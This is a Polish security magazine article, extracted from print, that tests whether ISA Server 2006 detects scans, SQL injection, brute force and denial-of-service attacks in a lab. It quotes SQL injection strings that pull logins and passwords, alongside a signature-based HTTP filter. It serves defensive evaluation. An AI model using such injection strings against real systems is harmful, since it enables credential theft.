PortScan.exe, który uruchomił się
do wykryciu ataku przez serwer ISA
Rysunek 8.
Komunikat zatrzymania monitorowania
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
47
Monitorowanie zdarzeń
W trakcie testów wykorzystywa-
no także konsolę systemową Pod-
gląd Zdarzeń (ang. Event Viewer).
Wszystkie zdarzenia dotyczące ser-
wera ISA – włączenie lub wyłącze-
nie usługi czy wywołanie alarmów
– zapisywane są w dzienniku Ap-
plication. Nie jest to jednak sposób
monitorowania, który powinien słu-
żyć jako podstawowe źródło wiedzy
o zdarzeniach. Może on jedynie
wspomagać uzyskiwanie informa-
cji o tym, co się w systemie dzie-
je. Ten sposób monitorowania jest
stosowany tylko w celu ukazania,
ze dany alarm został wywołany i in-
formacja o tym zostaje zapisana do
logu systemowego. Taki każdora-
zowy zapis stanowi niepodważalny
dowód na to, że atak miał miejsce –
dzięki temu atakujący nie jest tak do
końca anonimowy. Dodatkowo mamy
do dyspozycji szereg funkcji na po-
ziomie systemu operacyjnego, które
monitorują wykorzystanie zasobów
komputera. Istnieją one zarówno
na poziomie komputera lokalnego, jak
i na poziomie całej domeny. Wszel-
kie ataki oraz związane z nimi ak-
cje, które mają zostać wywołane
w momencie wystąpienia zdarzenia,
mogą być skonfigurowane w taki
sposób, aby przekazywały informa-
cje do Dziennika Zdarzeń.
Przeglądanie
dzienników
W programie ISA Server 2006 two-
rzone są dzienniki, które zawiera-
ją informacje dotyczące aktywności
związanych z zaporą ogniową, Pro-
xy sieci Web oraz modułem Mes-
sage Screener SMTP. Dzienniki te
mogą być zapisywane do formatów
SQL, MSDE oraz do pliku (z wyjąt-
kiem logu SMTP, który może być za-
pisywany tylko do pliku). W przypad-
ku MSDE log zapisywany jest do pli-
ku o domyślnej nazwie ISALOG_yy-
yymmdd_FWS_nnn.mdf, gdzie pola
yyyymmdd oraz nnn to odpowiednio
data i numer, pomocne w identyfika-
cji dziennika. W zakładce Logging
istnieje także opcja monitorowania
i obserwowania ruchu w sieci w cza-
sie rzeczywistym. W celu włącze-
nia tej opcji należy kliknąć pole Start
Query. Funkcjonalność ta posłuży do
obserwacji, czy dany atak jest rozpo-
znawany, czy nie i z jakich reguł za-
pory korzysta oraz czy ruch zostanie
dozwolony czy zabroniony.
Raportowanie
Ciekawym rozwiązaniem, bar-
dzo przydatnym w praktyce, jest
możliwość generowania raportów
w oparciu o własne preferencje.
Spośród dostępnych opcji, które
mają zostać zawarte w raporcie,
można wybrać, czy mają one do-
tyczyć np. wykorzystania sieci Web
przez pracowników, charakterystyki
ruchu przechodzącego przez zapo-
rę itp. Poniżej znajduje się przykład
takiego raportu:
Istnieje pięć kategorii raportów,
każda z nich dostarcza szczegóło-
wych informacji o różnych aspektach
działania serwera ISA. Raportowa-
nie posłużyło do analizy danych sta-
tystycznych o ruchu w sieci podczas
wykonywania ataków oraz w czasie
normalnej pracy.
Ataki rozpoznawcze
Rozpoznanie sieci nie jest samo
w sobie atakiem, jest natomiast dzia-
łaniem wykrywanym przez więk-
szość systemów IDS. Atakiem roz-
poznawczym może być na przykład
wyszukiwanie krytycznych punktów
sieci, np. kontrolerów domeny, ser-
werów DNS, otwartych portów, uru-
chomionych usług itd. Działania ta-
kie, często nazywane po prostu gro-
Rysunek 10.
Dowód wykrycia skanowania IP Half Scan na serwerze ISA
Rysunek 11.
Zalogowanie
nieistniejącego użytkownika
Rysunek 12.
Konfigurowanie filtrów
HTTP
Rysunek 9.
Fragment ramki TCP Null na serwerze ISA (Network Monitor)
hakin9 Nr 2/2008
www.hakin9.org
Obrona
48
madzeniem informacji, zwykle po-
przedzają atak właściwy (rzeczywi-
sty). Większość komercyjnego opro-
gramowania skanującego realizu-
je funkcje wpisujące się w kategorię
ataków rozpoznawczych. Są to:
• badanie infrastruktury sieci, np.
enumeracja komputerów, syste-
mów operacyjnych i działających
aplikacji,
• identyfikacja typowych błędów
zabezpieczeń, np. istnienie kon-
ta Anonymous w usłudze telnet,
• wyszukanie komputerów, które
zawierają znane luki zabezpie-
czeń,
• wykonywanie znanych testów
i ataków oraz sprawdzenie podat-
ności na nie.
Większość dostępnych programów
do skanowania słabych punktów
systemów i sieci wykorzystuje do te-
go celu informacje zawarte w biule-
tynach zabezpieczeń producentów
wybranego oprogramowania oraz
w indeksie CVE1 (Common Vulne-
rabilities and Exposures), w którym
znajduje się największy na świecie
zbiór wszystkich dotychczas wykry-
tych luk systemowych. Indeks zawie-
ra także opisy zagrożeń oraz okre-
śla ich poziom wykorzystując do te-
go czteropoziomową skalę: krytycz-
ny, wysoki, średni, niski. CVE zosta-
ło utworzone w 1998 roku przez or-
ganizację MITRE w porozumieniu
z Departamentem Bezpieczeństwa
Wewnętrznego USA. Przykładem
ogólnodostępnego oprogramowa-
nia skanującego, które wykrywa lu-
ki bezpieczeństwa, jest MBSA (Mi-
crosoft Baseline Security Analyzer).
Opiera ono swoje działanie na sys-
temach firmy Microsoft i jest bardzo
pomocne w przypadkach, gdy pomi-
nie się którąś z podstawowych zasad
zabezpieczeń.
Skanowanie portów (elementy
fingerprintingu) – jest działaniem
polegającym na ustaleniu, czy sys-
tem nasłuchuje na określonym por-
cie oraz czy port jest zamknięty, czy
filtrowany. Typowe skanowanie por-
tów jest nazywane skanowaniem
połączeniowym – dlatego, ze na
każdym porcie podejmowana jest
próba nawiązania połączenia TCP.
Atak został przeprowadzony przy
wykorzystaniu skanera portów 7th
Sphere, który jest łatwo wykrywal-
ny, ale i bardzo szybki oraz łatwy
w obsłudze. Bardziej zaawanso-
wane skanery zostały wykorzysta-
ne w niniejszych testach wykorzy-
stane do innych celów. Atak na ser-
wer isa.iscg.local można było za-
obserwować na zakładce Logging
w węźle Monitoring w konsoli zarzą-
dzającej ISA Server 2006. Przed
przystąpieniem do ataku należa-
ło skonfigurować alarm, który miał
zostać wyświetlony, gdy następo-
wało zdarzenie. W tym celu należa-
ło w zakładce Alerts w węźle Moni-
toring z panelu zadań wybrać opcję
Configure Alert Definitions, następ-
nie Add i za pomocą kreatora skon-
figurować opcje zebrane w Tabe-
lach 1 i 2.
Oprócz tego należało także
w zakładce Events zaznaczyć opcje
mówiące, że alarm po wykryciu sy-
gnatur ma być wywoływany natych-
miastowo (Immediately) oraz że in-
formacje o wykryciu mają być zapisy-
wane do Dziennika zdarzeń Windows
(zakładka Actions). Aby można było
łatwiej zidentyfikować zakres portów,
zdefiniowane zostały ich dwie grupy:
tzw. dobrze znane (ang. well known)
porty oraz wszystkie porty. Skano-
wanie poszczególnych grup wywołu-
je alarmy przedstawione na Rysun-
kach 5 i 6.
Każdorazowo po wykryciu ata-
ku wywoływana jest przykłado-
wa aplikacja alert_PortScan.exe.
Podobna konfiguracja dotyczyła
pozostałych ataków, opis jej więc
zostanie w dalszej części artyku-
łu pominięty:
Skutkiem ubocznym okazało się
okno ostrzeżenia, które pojawiło się
w wyniku pozostawionego w zakład-
ce Logging monitorowania (Rysu-
nek 8).
IP half scan to atak, który pole-
ga na wysyłaniu na dany port ser-
wera pakietu SYN. Następnie ser-
wer odpowiada pakietem SYN|ACK
w sytuacji, gdy port jest w stanie na-
słuchu – w przeciwnym przypad-
ku otrzymamy pakiet z ustawionym
bitem RST. Nie chcąc nawiązywać
połączenia, do skanowanej maszy-
ny wysyła się segment z bitem RST,
który nakazuje zerwać połączenie.
Wymiana taka nazywana jest nie-
pełnym uzgadnianiem trójfazowym,
ponieważ brakuje ostatecznego po-
twierdzenia przez klienta. Alarm ge-
Rysunek 13.
Ruch wywołany przeprowadzaniem ataku LAND
Rysunek 14.
Wykrycie ataku LAND
Rysunek 15.
Obniżenie jakości usług sieciowych poprzez zalewanie
pakietami UDP
Rysunek 16.
Zmniejszenie się dostępnej ilości wolnego miejsca na dysku
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
49
nerowany przez systemy IDS infor-
muje, że nastąpiła próba dokona-
nia pełnego procesu nawiązywania
połączenia TCP, ale bez odebrania
pakietów potwierdzających ACK. W
niektórych przypadkach wysłanie
dużej ilości pakietów SYN oraz brak
otrzymywania potwierdzenia usta-
nowienia połączenia może dopro-
wadzić do odmowy jakiejkolwiek ko-
munikacji z komputerem docelowym
– jest to atak typu DoS.
Na porty TCP wysyłane są nastę-
pujące pakiety:
• TCP ping – pakiet zflagą ACK,
• TCP NULL – pakiet, który nie za-
wiera flag, ajedynie numery se-
kwencyjne,
• TCP FIN – pakiet zflagą FIN,
trudny do wykrycia,
• TCP XMAS – pakiet zflagami:
URG, PSH iFIN,
• UDP – specjalny pakiet zpustym
datagramem,
Atak na komputer isa.iscg.local
można było zaobserwować w uru-
chomionym programie Network Mo-
nitor, ponieważ na na zakładce Log-
ging w węźle Monitoring w konsoli
zarządzającej ISA Server 2006 pa-
kiety nie zostały pokazane. Przed
przystąpieniem do ataku należa-
ło skonfigurować alarm, który miał
zostać wyświetlony po wystąpie-
niu zdarzenia. W tym celu należa-
ło w zakładce Alerts w węźle Moni-
toring z panelu zadań wybrać opcję
Configure Alert Definitions, następ-
nie Add i za pomocą kreatora skon-
figurować opcje zaprezentowane w
Tabeli 3.
Oprócz tego ponownie należa-
ło w zakładce Events zaznaczyć
opcje natychmiastowego wywołania
alarmu po wykryciu sygnatur (Im-
mediately) oraz zapisu do Dzienni-
ka zdarzeń Windows (zakładka Ac-
tions). Ruch wywołany przez skano-
wanie TCP Null programem nmap
został zarejestrowany przy pomocy
programu Network Monitor na ser-
werze ISA. Pakiety TCP Null nie
zawierają żadnej flagi, co można
zobaczyć na Rysunku 9. Skonfigu-
rowany wcześniej alarm został wy-
wołany zarówno po wykonaniu ska-
nowania przez testy internetowe,
nmap'a, jak i pozostałe typy progra-
mów do testowania. Jego właściwo-
ści można przeglądać w konsoli za-
rządzającej ISA w węźle Monitoring
na zakładce Alerts, wybierając dany
alarm i rozwijając jego gałąź. Alarm
o zdarzeniu IP Half Scan pojawił
się natychmiast po wykonaniu ska-
nowania. Dodatkowo skanowanie
programem nmap wywołało alarm
skanowania dobrze znanych por-
tów. Alarm ten, podobnie jak alarm
IP Half Scan, został skonfigurowany
przed atakiem.
Na Rysunku 10. znajduje się do-
wód wykrycia alarmu przez system
wykrywantia włamań IDS na serwe-
rze ISA.
Rysunek 21.
UDP Flood od różnych nadawców pakietów na ten sam port
Rysunek 22.
Ruch sieciowy wataku Teardrop
Rysunek 23.
Ruch sieciowy wywołany przez atak WinNuke na serwerze
ISA
Rysunek 17.
Błąd wynikający zbraku dostępności wolnego miejsca na
dysku.
Rysunek 18.
Zarządzanie miejscem na dysku ikasowanie nieużywanych
plików
Rysunek 19.
IP Spoofing – atak wykryty przy okazji UDP Flood, adres
podany jako źródło ataku nie istniał
Rysunek 20.
Wykrycie przez ISA Server pakietów UDP na porcie 53.
hakin9 Nr 2/2008
www.hakin9.org
Obrona
50
Ataki właściwe
Ataki te polegają zwykle na próbie
wykorzystania znanych i nieznanych
luk w systemach oraz aplikacjach.
Mają one swój cel, którym najczę-
ściej jest chęć zdobycia określonych
informacji. Atakiem takim można na-
zwać także sam test podatności, któ-
ry wykrywa, czy komputer lub urzą-
dzenie sieciowe jest odporne na ty-
powe zagrożenia. W odróżnieniu od
ataków rozpoznawczych, ataki wła-
ściwe (włączając w to testy pene-
tracyjne) stanowią formę oszacowa-
nia skuteczności zabezpieczeń sieci,
gdyż ujawniane są zwykle cechy po-
mijane przez oprogramowanie ska-
nujące lub też w ogóle niezwiązane
z technologią, np. nowo odkryte lu-
ki (wykrycie następuje na bazie sy-
gnatur) czy podatności dotyczące lu-
dzi i procedur. Należy nadmienić, że
funkcjonalność oprogramowania wy-
korzystywanego do testów jest ogra-
niczona – wynika to z faktu, że wy-
krywane są słabości, które zostały
już poznane.
Najczęściej spotykanym atakiem
na serwery baz danych jest iniek-
cja SQL (ang. SQL Injection). Atak
ten następuje wtedy, gdy napastnik
jest w stanie modyfikować kweren-
dy, które są przetwarzane przez ser-
wer tak, aby przesłać w nich swoje
dane do serwera. Atak wykonany w
niniejszym artykule polegał na wy-
korzystaniu prostego systemu logo-
wania (login.dll) opublikowanego na
serwerze ISA do wpisania frazy SQL
Injection tak, aby uzyskać dostęp do
informacji na serwerze baz danych
Microsoft SQL Server 2005 oraz
poprzez dostęp ten zdobyć upraw-
nienia administratora. Atak został
przeprowadzony niezależnie od typu
uwierzytelniania, gdyż baza zarów-
no dla uwierzytelniania zintegrowa-
nego, jak i dla uwierzytelniania SQL
reaguje tak samo. Wykonanie ataku
rozpoczęło się od wpisania wszyst-
kim znanej frazy ‘) OR (1=1)--. Efekt
nie jest trudny do przewidzenia – po
uwierzytelnieniu się, wykorzystując
słabości bazy, można było przeglą-
dać przechowywane w niej dane.
ISA Server 2006 może monitoro-
wać zawartość pakietów pod kątem
skonfigurowanych wcześniej filtrów.
W wielu rozwiązaniach Firewall/IDS
nie ma wbudowanych zapór ognio-
wych aplikacji internetowych, serwer
ISA również posiada ten moduł sła-
bo rozwinięty. Nie zmienia to jednak
faktu, że ruch określony przez filtr
można wykrywać. Reguły filtrowania
HTTP konfiguruje się na regułach
zapory, które obsługują ten ruch. Dla
przykładu (Rysunek 12.) zdefiniowa-
ne zostały sygnatury, które zawierają
typową dla języka SQL składnię. Fil-
try określają, jakie wartości nie mo-
gą znaleźć się w pakietach.
Od tej pory za każdym razem,
gdy w pakiecie HTTP będzie poja-
wiało się słowo np. SELECT, ruch
nie będzie przepuszczany. W oknie
dostępu do bazy wpisano ’ SELECT
Tabela 1.
Konfiguracja alarmu Port Scanning Well Known
Opcja
Wartość
[General] Name
Port Scanning Well Known
[General] Category
Security
[General] Severity
Warning
[Events] Event
Intrusion detected
[Events] Additional condition Well-known port scan attack
[Actions] Run aprogram
%SYSTEMDRIVE% \alert_PortScan.exe
Tabela 2.
Konfiguracja alarmu Port Scanning Other
Opcja
Wartość
[General] Name
Port Scanning Other
[General] Category
Security
[General] Severity
Warning
[Events] Event
Intrusion detected
[Events] Additional condition
All port scan attack
[Actions] Run aprogram
%SYSTEMDRIVE%\alert_PortScan-
ning.exe
Tabela 3.
Konfiguracja alarmu IP Half-Scan
Opcja
Wartość
[General] Name
IP Half Scan(ning)
[General] Category
Security
[General] Severity
Warning
[Events] Event
Intrusion detected
[Events] Additional condition
IP half scan attack
[Actions] Run aprogram
%SYSTEMDRIVE%\alert_IPHal-
fScan.exe
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
51
login, password FROM users--
i ruch został zablokowany. Aby in-
formacje o zawartości pakietów po-
jawiały się w zakładce Logging, na-
leży skonfigurować filtr monitorowa-
nia tak, aby wyświetlał pakiety, któ-
re zawierają ciągi znaków zabro-
nione przez filtr bezpieczeństwa
HTTP. ISA Server 2006 nie posiada
reguły, która umożliwiłaby pojawia-
nie się w zakładce Alerts informacji
o każdorazowym odrzuceniu pakie-
tów przez filtr HTTP. W tym miejscu
warto również uwzględnić zabez-
pieczenie się przed zdalnym uru-
chomieniem xp_cmdshell (sp_con-
figure).
Atak Brute Force sam w so-
bie jest algorytmem, który spraw-
dza wszystkie możliwe kombinacje
w poszukiwaniu rozwiązania. Moż-
na podzielić go na dwie odrębne
części: atak słownikowy oraz pró-
bowanie wszystkich możliwych
kombinacji haseł w określonej prze-
strzeni. Atak ten może być skiero-
wany przeciwko systemom online
lub hasłom innego typu, które zo-
stały wydobyte inną metodą. Me-
toda Brute Force jest nieoptymal-
na, za to najprostsza do zaimple-
mentowania, gdyż sprawdzane są
po prostu wszystkie kombinacje
znakowe – może to potrwać jednak
bardzo długo. W przypadku prze-
strzeni znaków literowych bez roz-
różniania wielkości liter (26) dla ha-
sła 7-znakowego, liczba możliwych
haseł to ok. 8.031E9. W zależności
od kontekstu, w którym termin bru-
te force zostaje użyty, może mieć
on nieznacznie różne definicje. Im
więcej możliwych kombinacji, tym
czas potrzebny na uzyskanie prawi-
dłowej sekwencji znaków jest dłuż-
szy – dzięki temu ISA będzie w sta-
nie rozpoznać, że bieżący atak to
brute force. Atak słownikowy w te-
stach trwał bardzo krótko (57 se-
kund). Założenie było takie, aby
ISA była w stanie zatrzymać okre-
ślony ruch, nawet jeśli weryfikacja
jego typu nie przebiegnie prawidło-
wo. W przypadku ataku brute force
czas wyniósł 20 minut i 14 sekund.
Hasło do serwera FTP nie spełnia-
ło wymogów silnego hasła. Ataki ty-
pu łamanie haseł na określony ser-
wer można wykrywać na wiele spo-
sobów: poprzez aplikację urucho-
mioną na serwerze, śledzenie ru-
chu sieciowego czy monitorowa-
nie na systemie IDS. ISA Server
nie ma wbudowanego mechanizmu
analizującego dokładnie zachowa-
nia serwera FTP, tylko zezwala na
ruch lub go blokuje. Pozostałe usta-
wienia zależą już od danej aplika-
cji, w tym przypadku od oprogramo-
wania serwera FTP. Atak typu brute
force można utrudnić, ustanawiając
limit liczby jednoczesnych połączeń
dla jednego użytkownika, np. usta-
wiając go na 3 rozciągamy w cza-
sie próby wykonywane przez pro-
gram łamiący hasła, gdyż w danym
momencie mogą być dokonane tyl-
ko 3 porównania; metoda ta utrud-
nia nieco wykrycie ataku. Podczas
włamania ISA Server 2006 monito-
rował tylko ruch w sieci. Ruch FTP
ograniczał się do wywołania regu-
ły publikującej serwer ftp.iscg.lo-
cal: Initiated Connection oraz Clo-
sed Connection (połączenie zaini-
cjowane i zamknięte), które odpo-
wiadało za przesłanie próbnych da-
nych uwierzytelniających do ser-
wera FTP. Nie od dziś wiadomo,
że korzystanie z serwerów FTP
z domyślnymi ustawieniami nie jest
najlepszym pomysłem. Warto do-
dać również, że w przypadku dłu-
gich haseł atak brute force będzie
trwał bardzo długo. ISA nie wy-
kryła tego ataku, gdyż był on mało
agresywny. Nie wynikało to jednak
z ustawień serwera, tylko z konfigu-
racji aplikacji FTP.
Ataki typu odmowa
dostępu do usługi
Ataki te zasługują na odrębne po-
traktowanie, gdyż dzielą się na wie-
le podtypów, a od ataków właści-
wych różnią się głównie motywacją
atakującego. Ataki te mają na ce-
lu uniemożliwienie działania syste-
mów komputerowych lub usług sie-
ciowych poprzez zajęcie wszystkich
wolnych zasobów lub też poprzez
wykorzystanie innych technik unie-
możliwiających prawidłowe funkcjo-
nowanie. Są zazwyczaj łatwo wykry-
wane przez systemy IDS i nie muszą
w istocie naruszać bezpieczeństwa
sieci czy systemów, jednak nadal
Rysunek 24.
Fragment ramki ataku WinNuke na serwer ISA (Network
Monitor)
Testowanie
Systemy IDS rozpoznają trzy główne
typy ataków:
• ataki rozpoznawcze,
• ataki właściwe,
• ataki typu odmowa dostępu do
usługi.
hakin9 Nr 2/2008
www.hakin9.org
Obrona
52
mogą powodować poważne konse-
kwencje związane z zabezpiecze-
niami. Bardziej wyrafinowane ata-
ki mogą polegać na uniemożliwie-
niu uaktualniania programów anty-
wirusowych, pobierania poprawek
zabezpieczeń lub sygnatur dla sys-
temów IDS.
Atak LAND jest atakiem odmo-
wy usługi, polegającym na wysłaniu
pakietu tak zmodyfikowanego, żeby
adres i port nadawcy oraz adres i
port odbiorcy były takie same. Atak
ten powoduje zablokowanie stosu
TCP/IP. Atak jest skuteczny wobec
maszyn, które znajdują się w tej sa-
mej sieci lokalnej, gdyż w Internecie
pakiety te traktowane są jako uszko-
dzone – a co za tym idzie, odrzuca-
ne. Atak ten nazywany jest także
loopback SYN i wykorzystuje IP
Spoofing, czyli podszywanie się pod
inny komputer (wykorzystując jego
adres IP). Polega na nawiązywa-
niu połączenia TCP, które musi być
odpowiednio zainicjalizowane. Wy-
syłany jest pakiet SYN z adresem
atakowanego komputera jako adre-
sem źródłowym. Zaatakowany kom-
puter po otrzymaniu pakietu wysyła
sam do siebie pakiet z ustawionymi
bitami SYN i ACK. Połączenie nie
jest przerywane, ponieważ otrzy-
mano pakiet ACK. Idea ataku pole-
ga na tym, że nie jest sprawdzane
ustawienie bitu SYN. Ze względu na
niezgodność sekwencyjnych nume-
rów otrzymanego pakietu, kompu-
ter ponawia próbę nawiązania po-
łączenia, wysyłając kolejny pakiet
z bitami SYN i ACK. Takie działa-
nie prowadzi do powstania pętli, w
której komputer prowadzi komuni-
kację sam ze sobą. Atak LAND zo-
stał wykonany z komputera o ad-
resie IP 10.10.10.100 (dc.iscg.lo-
cal) na bramę wewnętrzną ISA Se-
rver oraz z tego samego kompute-
ra na serwer WWW (iis.iscg.local),
który został zalany pakietami z fla-
gą SYN, nie czekając na odpowiedź
zawierającą flagę ACK. Podczas
testów na serwerze ISA utworzo-
no na czas ataku regułę zezwalają-
cą na ruch na porcie 139. W regule
uwzględnione zostały następujące
protokoły: NetBios Datagram, Net-
Bios Name Service i NetBios Ses-
sion. Atak ten w znacznym stopniu
obciążył zasoby serwera ISA oraz
serwera WWW.
UDP Bomb i UDP Flood są ata-
kami, które polegają na wysyłaniu
nieprawidłowych pakietów (z nie-
właściwymi wartościami w odpo-
wiednich polach) lub wysłanie ich
w nadmiarze. Ataki te kwalifikują
się do kategorii odmowy usługi (De-
nial of Service), gdyż wykonanie ich
może obniżyć wydajność atakowa-
nego systemu, a nawet doprowa-
dzić do jego załamania się. Atak
UDP Bomb/Flood został wykona-
ny z komputera z sieci wewnętrznej
na bramę wewnętrzną ISA Server.
Do tego celu wykorzystano opro-
gramowanie zalewające pakietami
UDP wybrane porty z losowo wyge-
nerowanych adresów IP. Przepro-
wadzenie ataku UDP Flood na ser-
wer ISA sprawiło, że przejęte zosta-
ły zasoby tego serwera. Na począt-
ku w katalogu głównym dysku by-
ło 3,5 GB wolnego miejsca, po ok.
20 minutach na dysku było już wol-
ne zaledwie 500MB. Stan wykorzy-
stania zasobów zweryfikowano pro-
gramem Performance Monitor. Dy-
namicznie zmniejszająca się ilość
wolnego miejsca na dysku oraz peł-
ne wykorzystanie procesora przy-
czyniły się do obniżenia wydajno-
ści systemu, które ISA Server 2006
potrafił wykryć (widać to na Rysun-
kach 15-16.).
Atak na komputer isa.iscg.local
można było zaobserwować – po-
dobnie, jak w przypadku poprzed-
nich ataków – w konsoli zarządza-
jącej ISA Server 2006, na zakładce
Logging w węźle Monitoring. Skon-
figurowany uprzednio alarm UDP
Bomb nie został wywołany, uru-
chomione zostały natomiast inne
alarmy, np. IP Spoofing, co dowo-
dzi, że atak następował z losowo
wygenerowanych adresów IP. Na
Rysunku 19. znajduje się komuni-
kat alarmu.
W przypadku, gdy serwer był za-
lewany pakietami z jednego adresu
IP, ruch był blokowany, jednak opro-
gramowanie ISA nie wyświetliło żad-
Rysunek 25.
Dowód wykrycia ataku WinNuke na serwerze ISA
Rysunek 26.
Informacja o ataku
WinNuke w Dzienniku Zdarzeń
Rysunek 27.
Ruch wygenerowany podczas ataku Ping Flooding
Rysunek 28.
Zablokowanie ruchu od hosta wykonującego atak Ping
Flooding
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
53
Zamówienia: www.hakin9.org pren@software.com.pl tel. 0-22 427-36-93
hakin9 Nr 2/2008
www.hakin9.org
Obrona
54
nego komunikatu. Podobna sytuacja
miała miejsce, gdy atakowany był
określony port.
Atak Teardrop modyfikuje na-
główki IP i ustawia w nich znaczni-
ki przesunięcia (ang. offset) w ta-
ki sposób, aby się na siebie nakła-
dały. Funkcją znaczników jest infor-
mowanie systemu o liczbie bajtów
oraz o kolejności składania przesy-
łanych pakietów. W przypadku pa-
kietu o wielkości 4100 bajtów kolej-
ne pofragmentowane pakiety powin-
ny mieć w polu nagłówka wartości
np.: 1-1500, 1501-3000, 3001-4100.
Teardrop polega na takim ustawieniu
tych wartości, aby kolejne fragmen-
ty na siebie zachodziły, np. 1-1500,
1500-3000, 2000-3500. Uniemożli-
wia to odebranie pakietu, gdyż ostat-
ni fragment zawiera wartość niższą
niż rzeczywista wielkość pakietu.
Komputer – odbiorca nie jest w sta-
nie poskładać części pakietu, uru-
chamiana jest obsługa błędów re-
konstrukcji, która obciąża procesor
– w sytuacji krytycznej może nastą-
pić nawet restart maszyny. Atak nie
wywołał żadnego alarmu na serwe-
rze ISA. Nie wykryto również na za-
kładce Logging ruchu związanego
z tym atakiem. Pakiety można było
natomiast przechwycić programem
Network Monitor (Rysunek 22.).
Szczególną uwagę należy zwró-
cić na pakiety, w których znaczniki
przesunięcia pokrywają się. W za-
obserwowanym ruchu zdarzały się
pakiety, których numery sekwen-
cyjne pokrywały się, zdarzały się
też takie, które miały ustawioną fla-
gę, zabraniającą fragmentacji. Pa-
kiety takie mają ustawiony znacz-
nik w polu Fragmentation Summary
(16384, 0x4000): Cannot fragment
datagram.
Atak WinNuke (Windows Out-
of-Band Attack) jest znany z cza-
sów systemów operacyjnych Mi-
crosoft Windows 95, Microsoft Win-
dows NT oraz Microsoft Windows
3.1x. Jest atakiem typu DoS i po-
lega na wysyłaniu specjalnie spre-
parowanego pakietu OOB (Out of
Band) na port 139 (NetBIOS) do
komputerów, na których urucho-
miony jest ten system. W rezulta-
cie komputer się zawiesza i poja-
wia się niebieski ekran z informa-
cją o błędzie. Windows NT załamu-
je się i zrzuca całą pamięć do pliku,
pozostałe wymienione systemy za-
chowują się różnie w zależności od
wersji. Atak ten nie ma na celu spo-
wodowania zniszczeń, jedynie nie-
zapisane dane zostaną utracone.
Pakiety OOB są obsługiwane przez
protokół TCP. Są przekazywane po-
za normalnym strumieniem danych
i ich flaga oznacza, że mają być ob-
służone poza kolejnością. Ostatni
przesyłany bajt w segmencie jest
wskazywany przez pole URGENT
POINTER – pozwala to na ziden-
tyfikowanie końca bloku danych.
Przed przystąpieniem do ataku na-
leżało skonfigurować alarm, który
miał zostać wyświetlony, gdy na-
stępowało odpowiednie zdarzenie.
Atak WinNuke korzystał z wcze-
śniej utworzonej reguły inicjując
połączenie na porcie 139, następ-
nie wysyłane były pakiety, a po-
tem połączenie zostało zamknięte.
Rysunek 23. obrazuje zrzut ekranu
z zakładki Logging.
Ruch ten został także zaobser-
wowany w programie Network Mo-
nitor na serwerze ISA oraz Ethereal
na dc.iscg.local (kontroler domeny).
Program WinNuke wysyła pakie-
ty, które zawierają wskaźnik Urgent
Pointer, oprócz tego dołączana jest
wiadomość sesji, widoczna na Ry-
sunku 24.
Skonfigurowany wcześniej alarm
został wywołany natychmiast po wy-
konaniu ataku – pokazuje to Rysu-
nek 25.
W sytuacji wykrycia ataku dru-
gim wywoływanym zdarzeniem był
wpis do Dziennika zdarzeń do logów
aplikacyjnych. Wpis ten zatytułowa-
ny jest Microsoft Firewall, a jego ob-
sługą zajmuje się usługa o tej samej
nazwie. Wpis w logu obejrzeć można
na Rysunku 26.
Atak Ping of Death polega
na wysłaniu do komputera docelo-
wego pofragmentowanego datagra-
mu ICMP Echo Request, w którym
łączna długość przekracza maksy-
malną długość pakietu, jaką moż-
na wpisać do nagłówka IP, czyli 65
535 bajtów. Nie wszystkie systemy
są w stanie przetworzyć taki pakiet,
powoduje to zawieszenie się lub re-
start maszyny. Ping Flooding pole-
ga na zalewaniu komputera pakie-
tami ICMP (ICMP Echo Request).
Komputer atakowany odpowia-
da na każde zapytanie za pomo-
cą pakietu zwrotnego ICMP (ICMP
Echo Reply), co może prowadzić
do przeciążenia jego łącza. Atak
ten ma sens w przypadku, gdy jest
przeprowadzany z komputera, któ-
ry posiada łącze o większej prze-
pustowości niż atakowany kompu-
ter. Atak ten można także przepro-
wadzić z wielu komputerów, będzie
się wtedy klasyfikował do ataków
DDoS, czyli rozproszonych ataków
odmowy usługi. Do ataków tych zo-
stały wykorzystane narzędzia po-
zwalające na modyfikowanie roz-
miarów pakietów oraz określanie,
ile ich ma zostać wysłanych i z jaką
częstotliwością. ISA Server odebrał
125024080 pakietów ICMP o róż-
nych parametrach wielkościowych;
ilość tę uznano za wystarczającą
do przeprowadzenia analizy sytu-
acji. Atak nie wywołał alarmu Ping
of Death, wywołał natomiast pozo-
Rysunek 29.
Przekroczenie liczby połączeń dla reguły PING
Rysunek 30.
Zablokowanie odpowiedzi ICMP
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
55
hakin9 Nr 2/2008
www.hakin9.org
Obrona
56
stałe, które w ogólnym ujęciu mia-
ły za zadanie blokować ruch przy-
chodzący od komputera, na którym
uruchomiony był flooder. Oznacza
to, że administrator powinien szu-
kać przyczyny obniżenia wydajno-
ści korzystając z programów ze-
wnętrznych, takich jak np. Network
Monitor oraz Performance Monitor.
Poniższy log został pobrany z ISA
Server 2006 (Logging). Na atak
wskazuje jedynie ilość powtórzeń
wysłania tego samego pakietu. Jak
widać na Rysunku 27, rejestrowane
jest każde powtórzenie.
W czasie bombardowania pa-
kietami ICMP zauważono lekki spa-
dek wydajności serwera ISA. Rysun-
ki 28-30. przedstawiają alarmy, któ-
re zostały wywołane tym atakiem.
Do ataku tego w czasie testów nie
przywiązywano większej wagi, gdyż
nie jest on uznawany powszechnie
jako poważne zagrożenie.
Podsumowanie
Godząc się na pewne odstęp-
stwa od idealnego stanu bezpie-
czeństwa zwiększamy funkcjonal-
ność sieci, zmniejszając jednak-
że jej poziom ochrony – podob-
nie, jak otwierając dodatkowe por-
ty na zaporze ogniowej zwiększa-
Tabela 4a.
Podsumowanie testów
Skanowanie portów i
finger- printing
IP Half Scan
SQL Injection
LAND
CVE
Brak (to nie jest podat-
ność)
CVE-2001-0773, CVE-
1999-0116
CVE-2002-0645 (dla
Microsoft SQL Server
2000)
CVE-1999-0016, CVE-
2005-0688
Skutek
Nie zaobserwowa-
no działań, które po-
tencjalnie mogłyby za-
szkodzić atakowanym
systemom.
Nie zaobserwowano dzia-
łań, które potencjalnie
mogłyby zaszkodzić ata-
kowanym systemom.
Atak powiódł się, prze-
jęto dane uwierzytel-
niające administratora.
Zawieszenie się konsoli
zarządzającej ISA Se-
rver, obniżenie wydaj-
ności ISA Server oraz
atakowanych kompu-
terów.
